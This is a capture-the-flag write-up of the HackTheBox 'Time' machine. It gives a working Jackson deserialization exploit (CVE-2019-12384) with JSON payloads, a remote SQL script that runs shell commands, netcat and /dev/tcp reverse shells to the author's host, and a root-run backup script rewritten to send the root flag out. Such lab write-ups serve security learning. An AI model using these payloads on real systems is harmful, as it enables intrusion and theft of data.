Welcome HackTheBox fans! Here we go again, this time I am taking on the HTB Time box. Not so complex a machine, lets jump right in!

nmap -A -T4 10.10.10.214

Starting Nmap 7.91 ( https://nmap.org ) at 2020-11-07 20:57 GMT
Nmap scan report for 10.10.10.214
Host is up (0.045s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 0f:7d:97:82:5f:04:2b:e0:0a:56:32:5d:14:56:82:d4 (RSA)
|   256 24:ea:53:49:d8:cb:9b:fc:d6:c4:26:ef:dd:34:c1:1e (ECDSA)
|_  256 fe:25:34:e4:3e:df:9f:ed:62:2a:a4:93:52:cc:cd:27 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Online JSON parser
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 23.86 seconds


Navigating to the address http://10.10.10.214/

It's seems to have a JSON beautify and... a validator.

To proceed in a simple way I try to search for hidden folders with dirb:

┌─[in7rud3r@Mykali]─[~/Dropbox/hackthebox/_10.10.10.214 - Time (lin)]  
└──╼ $dirb http://10.10.10.214/

-----------------
DIRB v2.22    
By The Dark Raver
-----------------

START_TIME: Sat Nov  7 21:08:26 2020
URL_BASE: http://10.10.10.214/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612                                                          

---- Scanning URL: http://10.10.10.214/ ----
==> DIRECTORY: http://10.10.10.214/css/                                                                                                                                   
==> DIRECTORY: http://10.10.10.214/fonts/                                                                                                                                 
==> DIRECTORY: http://10.10.10.214/images/                                                                                                                                
+ http://10.10.10.214/index.php (CODE:200|SIZE:3813)                                                                                                                      
==> DIRECTORY: http://10.10.10.214/javascript/                                                                                                                            
==> DIRECTORY: http://10.10.10.214/js/                                                                                                                                    
+ http://10.10.10.214/server-status (CODE:403|SIZE:277)                                                                                                                   
==> DIRECTORY: http://10.10.10.214/vendor/                                                                                                                                
                                                                                                                                                                          
---- Entering directory: http://10.10.10.214/css/ ----
                                                                                                                                                                          
(!) FATAL: Too many errors connecting to host
    (Possible cause: OPERATION TIMEOUT)
                                                                               
-----------------
END_TIME: Sat Nov  7 21:14:38 2020
DOWNLOADED: 4763 - FOUND: 2


Nothing... and the scanning stops prematurely (recently the HTB VPN is really full and I have a lot of lost connections) so I try to investigate the technologies used on the portal using wappalizer.


Nothing particularly interesting, also Select2 seems to doesn't have any particular exploit that I can use to bypass the portal. Considering I cannot find anything again, I proceed trying to understand the "validation" feature of the portal. Here, some example about the input and the output of the form:

{
  id: "text" 
}
Validation failed:   id: "test"

{ id: "test" }
Validation failed: Unhandled Java exception: com.fasterxml.jackson.databind.exc.MismatchedInputException: Unexpected token (START_OBJECT), expected START_ARRAY: need JSON Array to contain As.WRAPPER_ARRAY type information for class java.lang.Object

{ id: 1 }
Validation failed: Unhandled Java exception: com.fasterxml.jackson.databind.exc.MismatchedInputException: Unexpected token (START_OBJECT), expected START_ARRAY: need JSON Array to contain As.WRAPPER_ARRAY type information for class java.lang.Object


I understand that there's some kind of execution server-side, probably I can exploit the portal using this behavior. Searching for "com.fasterxml.jackson.databind.exc.MismatchedInputException exploit", I found a series of vulnerabilities, one of them, that attract me a lot was this link:

Exploiting the Jackson RCE: CVE-2017-7525 — Adam Caudill
Earlier this year, a vulnerability was discovered in the Jackson data-binding library, a library for Java that allows developers to easily serialize Java objects to JSON and vice versa, that allowed an attacker to exploit deserialization to achieve Remote Code Execution on the server. This vulnerabi…

So, I try the JSON inside the article and here the response:

{'id': 124,
 'obj':[ 'com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl',
  {
    'transletBytecodes' : [ 'AAIAZQ==' ],
    'transletName' : 'a.b',
    'outputProperties' : { }
  }
 ]
}

Validation failed:  'obj':[ 'com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl', [...]


Ok, I'm quite sure I'm on the right direction. I try to search for something specific: "com.fasterxml.jackson.databind.exc.MismatchedInputException exploit reverse shell".

jault3/jackson-databind-exploit
jackson-databind-exploit. Contribute to jault3/jackson-databind-exploit development by creating an account on GitHub.

Really good, this is a full sample of how this exploitation work, so, I learn about this and try to apply in my specific scenario.

  • exploit.json
{
    "id":123,
    "obj": [
        "org.springframework.context.support.FileSystemXmlApplicationContext",
        "http://127.0.0.1:8000/spel.xml"
    ]
}


This is the JSON to provide to the portal; it tries to create command from an xml file, provided through the network using a simple web server.

  • spel.xml
<beans xmlns="http://www.springframework.org/schema/beans"
  xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  xsi:schemaLocation="
     http://www.springframework.org/schema/beans
     http://www.springframework.org/schema/beans/spring-beans.xsd
">
  <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
     <constructor-arg>
        <list value-type="java.lang.String">
            <value>/usr/local/bin/ncat</value>
            <value>127.0.0.1</value>
            <value>4444</value>
            <value>-e</value>
            <value>/bin/bash</value>
        </list>
     </constructor-arg>
  </bean>
</beans>


In the xml file, there are the instruction and the parameters needed to create the command to execute; in this example, a netcat call to the address 127.0.0.1 to the port 4444, reversing the bash shell. The changed xml for my scenario should appear like the following:

<beans xmlns="http://www.springframework.org/schema/beans"
  xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  xsi:schemaLocation="
     http://www.springframework.org/schema/beans
     http://www.springframework.org/schema/beans/spring-beans.xsd
">
  <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
     <constructor-arg>
        <list value-type="java.lang.String">
            <value>/bin/nc</value>
            <value>10.10.15.84</value>
            <value>4444</value>
            <value>-e</value>
            <value>/bin/bash</value>
        </list>
     </constructor-arg>
  </bean>
</beans>


As mentioned in the article start a web server with python in the example folder with the modified xml file.

┌─[in7rud3r@Mykali]─[~/Dropbox/hackthebox/_10.10.10.214 - Time (lin)/attack/java/jackson-databind-exploit] (master) 
└──╼ $python3 -m http.server -b 10.10.15.84 8000
Serving HTTP on 10.10.15.84 port 8000 (http://10.10.15.84:8000/) ...


And start the  on the specified port:

┌─[in7rud3r@Mykali]─[~/Dropbox/hackthebox/_10.10.10.214 - Time (lin)/attack/java/jackson-databind-exploit] (master) 
└──╼ $nc -lv 10.10.15.84 4444


Now submit the JSON on the portal's form. Well, my test fails, so I tried for a long time, searching for the right way to submit the exploit (all of us know that the same code, often, doesn't work the same for all); here some of the trial I made.

{
    'id':123,
    'obj': [        'org.springframework.context.support.FileSystemXmlApplicationContext',
        'http://10.10.15.84:8000/spel.xml'
    ]
}
Validation failed:     'id':123,

{'id':123,
    'obj': [        'org.springframework.context.support.FileSystemXmlApplicationContext',
        'http://10.10.15.84:8000/spel.xml'
    ]
}
Validation failed:     'obj': [        'org.springframework.context.support.FileSystemXmlApplicationContext',

{ 'id':123, 'obj': [ 'org.springframework.context.support.FileSystemXmlApplicationContext', 'http://10.10.15.84:8000/spel.xml' ] }
Validation failed: Unhandled Java exception: com.fasterxml.jackson.databind.exc.MismatchedInputException: Unexpected token (START_OBJECT), expected START_ARRAY: need JSON Array to contain As.WRAPPER_ARRAY type information for class java.lang.Object

[ "org.springframework.context.support.FileSystemXmlApplicationContext", "http://10.10.15.84:8000/spel.xml" ]
Validation failed: Unhandled Java exception: com.fasterxml.jackson.databind.exc.InvalidTypeIdException: Could not resolve type id 'org.springframework.context.support.FileSystemXmlApplicationContext' as a subtype of [simple type, class java.lang.Object]: no such class found


After a lot of time, I try to search again other exploits for the same kind of attack, this time my search terms was "com.fasterxml.jackson.databind exploit" (my personal approach is to change the terms used to search the argument, in order to find alternatives pages on the same matter, I suppose all of you made the same, more or less). Also this time, I think to be on the right track (another thing I do, is to read all the pages in the first result page of google... the learning, in this case, is the base for success).

Jackson gadgets - Anatomy of a vulnerability · Doyensec’s Blog
Doyensec’s Blog :: Doyensec is an independent security research and development company focused on vulnerability discovery and remediation.

The vulnerability is the same, but it's approached in a different way.

  • preparation

First of all, modify the inject.sql file for your scenario and then start the web server to provide the file on the network.

┌─[in7rud3r@Mykali]─[~/Dropbox/hackthebox/_10.10.10.214 - Time (lin)/attack/java/jackson-sql]  
└──╼ $cat inject.sql 
CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException {
        String[] command = {"bash", "-c", cmd};
        java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(command).getInputStream()).useDelimiter("\\A");
        return s.hasNext() ? s.next() : "";  }
$$;
CALL SHELLEXEC('/bin/nc 10.10.15.4 4444 -e /bin/bash')
┌─[in7rud3r@Mykali]─[~/Dropbox/hackthebox/_10.10.10.214 - Time (lin)/attack/java/jackson-sql]  
└──╼ $python3 -m http.server -b 10.10.15.4 8000
Serving HTTP on 10.10.15.4 port 8000 (http://10.10.15.4:8000/) ...
  • Listener

Activate the listener on your machine on the port set in the injection.

┌─[✗]─[in7rud3r@Mykali]─[~/Dropbox/hackthebox/_10.10.10.214 - Time (lin)/attack/java/jackson-databind-exploit] (master) 
└──╼ $nc -lvnp 4444
listening on [any] 4444 ...
  • attack

And provide the attack; the JSON is really simple, this time.

["ch.qos.logback.core.db.DriverManagerConnectionSource", {"url":"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://10.10.15.4:8000/inject.sql'"}]
  • web server

If the attack works fine, you should receive a call on the web server first and on the listener after; I receive the call to the web service, but nothing on the listener... anyway, I could be on the right direction.

10.10.10.214 - - [12/Nov/2020 21:05:17] "GET /inject.sql HTTP/1.1" 200 -

On the portal I receive this message validating the JSON:

Validation failed: 2020-11-12 21:12:50 lock: 3 exclusive write lock requesting for SYS

So, searching for "3 exclusive write lock requesting for SYS", I found this github repository, where the same attack is spawned with success and the message is reported also when the exploit succeeds.

jas502n/CVE-2019-12384
Jackson Rce For CVE-2019-12384 . Contribute to jas502n/CVE-2019-12384 development by creating an account on GitHub.

So, probably I have to change the second part of my attack, the reverse shell. Let me proceed.

CALL SHELLEXEC('bash -i >& /dev/tcp/10.10.15.4/4444 0>&1')

This time, something on my listener, happen:

listening on [any] 4444 ...
connect to [10.10.15.4] from (UNKNOWN) [10.10.10.214] 45530
bash: cannot set terminal process group (910): Inappropriate ioctl for device
bash: no job control in this shell
pericles@time:/var/www/html$ 

Good news, seems that I'm pericles...

whoami
pericles
pericles@time:/var/www/html$ cd /home
cd /home
pericles@time:/home$ ls -la
ls -la
total 12
drwxr-xr-x  3 root     root     4096 Oct  2 13:45 .
drwxr-xr-x 20 root     root     4096 Nov 12 21:24 ..
drwxr-xr-x  7 pericles pericles 4096 Oct 23 09:45 pericles
pericles@time:/home$ cd pericles
cd pericles
pericles@time:/home/pericles$ ls -la
ls -la
total 44
drwxr-xr-x 7 pericles pericles 4096 Oct 23 09:45 .
drwxr-xr-x 3 root     root     4096 Oct  2 13:45 ..
lrwxrwxrwx 1 root     root        9 Oct  1 15:05 .bash_history -> /dev/null
-rw-r--r-- 1 pericles pericles  220 Feb 25  2020 .bash_logout
-rw-r--r-- 1 pericles pericles 3771 Feb 25  2020 .bashrc
drwx------ 2 pericles pericles 4096 Sep 20 13:53 .cache
drwx------ 3 pericles pericles 4096 Oct 22 17:45 .config
drwx------ 2 pericles pericles 4096 Nov 12 21:05 .gnupg
lrwxrwxrwx 1 root     root        9 Oct  1 15:07 .lhistory -> /dev/null
drwxrwxr-x 3 pericles pericles 4096 Sep 29 12:52 .local
-rw-r--r-- 1 pericles pericles  807 Feb 25  2020 .profile
drwxr-xr-x 3 pericles pericles 4096 Oct  2 13:20 snap
-r-------- 1 pericles pericles   33 Nov 12 16:15 user.txt
pericles@time:/home/pericles$ cat user.txt
cat user.txt
a******************************2
pericles@time:/home/pericles$ 

And that's the first flag. My next step is to proceed with vulnerability discovery for the current user, I try with sudo and something other commands through the reverse shell, but nothing found. So I upload the linpeas script to leave that it provides the search for me. Using linpeas, I notice some interesting file that it highlights to evaluate, I provide here the list:

[...]
/home/pericles/.bash_history
/home/pericles/.lhistory
[...]
/tmp/hsperfdata_pericles/51562
/tmp/hsperfdata_pericles/85978
/tmp/hsperfdata_pericles/83235
[...]
-rw-r--r-- 1 root root 2743 Apr 23  2020 /etc/apt/sources.list.curtin.old
-rw-r--r-- 1 root root 214 Oct 23 06:46 /etc/systemd/system/timer_backup.timer
-rw-r--r-- 1 root root 159 Oct 23 05:59 /etc/systemd/system/timer_backup.service
-rw-r--r-- 1 root root 106 Oct 23 04:57 /etc/systemd/system/web_backup.service
-rwxrw-rw- 1 pericles pericles 88 Nov 12 22:00 /usr/bin/timer_backup.sh
-rw-r--r-- 1 pericles pericles 5900858 Nov 12 21:16 /tmp/website.bak.zip
[...]

The first two block doesn't provide anything interesting, but in the third one, there are really interesting files.

  • /usr/bin/timer_backup.sh - this file contains the script used to execute the backup of the web portal. As you can see, after compress the folder, it copies the zipped file on the root folder, so, probably, the process running with administrative privileges and everything started from this script will be executed as root.
#!/bin/bash
zip -r website.bak.zip /var/www/html && mv website.bak.zip /root/backup.zip
  • /etc/systemd/system/web_backup.service - this file identify the web service backup that start the script above.
[Unit]
Description=Creates backups of the website

[Service]
ExecStart=/bin/bash /usr/bin/timer_backup.sh
  • /etc/systemd/system/timer_backup.timer - this file contains the timer used to activate the service that starts the backup activity; it seems to restart every 10 seconds.
[Unit]
Description=Backup of the website
Requires=timer_backup.service

[Timer]
Unit=timer_backup.service
#OnBootSec=10s
#OnUnitActiveSec=10s
OnUnitInactiveSec=10s
AccuracySec=1ms

[Install]
WantedBy=timers.target

Ok, I have to put some command inside the script with the backup file that can be useful for me. My first idea is to copy the root.txt file on the tmp path, so I can reach it simply.

echo "cp /root/root.txt /tmp/root.txt" > /usr/bin/timer_backup.sh

Unfortunately, this approach doesn't work (I don't know why and I have no intention to investigate). I can proceed, as usual, creating a reverse shell.

echo "nc 10.10.15.4 4445 < /root/root.txt" > /usr/bin/timer_backup.sh

Don't forget to activate your listener and...

┌─[✗]─[in7rud3r@Mykali]─[~/Dropbox/hackthebox/_10.10.10.214 - Time (lin)/attack/java/jackson-sql]  
└──╼ $nc -lvnp 4445
listening on [any] 4445 ...
connect to [10.10.15.4] from (UNKNOWN) [10.10.10.214] 60292
5******************************3

Good, that's all folks, for now, see you on the next writeup. Bye!

The beautiful image used in this article was created by the very talented, internationally acclaimed visual artist Flora Borsi of Hungary. We fell in love with her work.